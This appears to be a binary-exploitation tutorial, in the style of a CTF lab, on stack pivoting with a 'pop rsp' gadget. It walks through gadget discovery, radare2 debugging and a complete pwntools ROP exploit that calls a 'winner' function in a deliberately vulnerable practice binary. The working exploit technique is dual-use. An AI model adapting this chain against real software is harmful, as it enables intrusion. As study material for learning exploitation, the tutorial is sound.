pop rsp

Using a pop rsp gadget to stack pivot

Exploitation

Gadgets

FIrst off, let's grab all the gadgets. I'll use ROPgadget again to do so:

$ ROPgadget --binary vuln | grep 'pop rsp'
0x0000000000401225 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

$ ROPgadget --binary vuln | grep 'pop rdi'
0x000000000040122b : pop rdi ; ret

$ ROPgadget --binary vuln | grep 'pop rsi'
0x0000000000401229 : pop rsi ; pop r15 ; ret

Now we have all the gadgets, let's chuck them into the script:

POP_CHAIN = 0x401225                   # RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

Testing the pop

Let's just make sure the pop works by sending a basic chain and then breaking on ret and stepping through.

payload = flat(
    'A' * 104,
    POP_CHAIN,
    buffer,
    0,            # r13
    0,            # r14
    0             # r15
)

pause()
p.sendline(payload)
print(p.recvline())

If you're careful, you may notice the mistake here, but I'll point it out in a sec. Send it off, attach r2.

$r2 -d -A $(pidof vuln)

[0x7f96f01e9dee]> db 0x004011b8
[0x7f96f01e9dee]> dc
hit breakpoint at: 4011b8
[0x004011b8]> pxq @ rsp
0x7ffce2d4fc68  0x0000000000401225  0x00007ffce2d4fc00
0x7ffce2d4fc78  0x0000000000000000  0x00007ffce2d4fd68

You may see that only the gadget + 2 more values were written; this is because our buffer length is limited, and this is the reason we need to stack pivot. Let's step through the first pop.

[0x004011b8]> ds
[0x00401225]> ds
[0x00401226]> dr rsp
0x7ffce2d4fc00

You may notice it's the same as our "leaked" value, so it's working. Now let's try and pop the 0x0 into r13.

[0x00401226]> ds
[0x00401228]> dr r13
0x4141414141414141

What? We passed in 0x0 to the gadget!

Remember, however, that pop r13 is equivalent to mov r13, [rsp] - the value from the top of the stack is moved into r13. Because we moved RSP, the top of the stack moved to our buffer and AAAAAAAA was popped into it - because that's what the top of the stack points to now.

Full Payload

Now we understand the intricasies of the pop, let's just finish the exploit off. To account for the additional pop calls, we have to put some junk at the beginning of the buffer, before we put in the ropchain.

payload = flat(
    0,                 # r13
    0,                 # r14
    0,                 # r15
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,               # r15
    elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

payload += flat(
    POP_CHAIN,
    buffer             # rsp - now stack points to our buffer!
)

Final Exploit

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225                   # RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
    0,                 # r13
    0,                 # r14
    0,                 # r15
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,               # r15
    elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

payload += flat(
    POP_CHAIN,
    buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())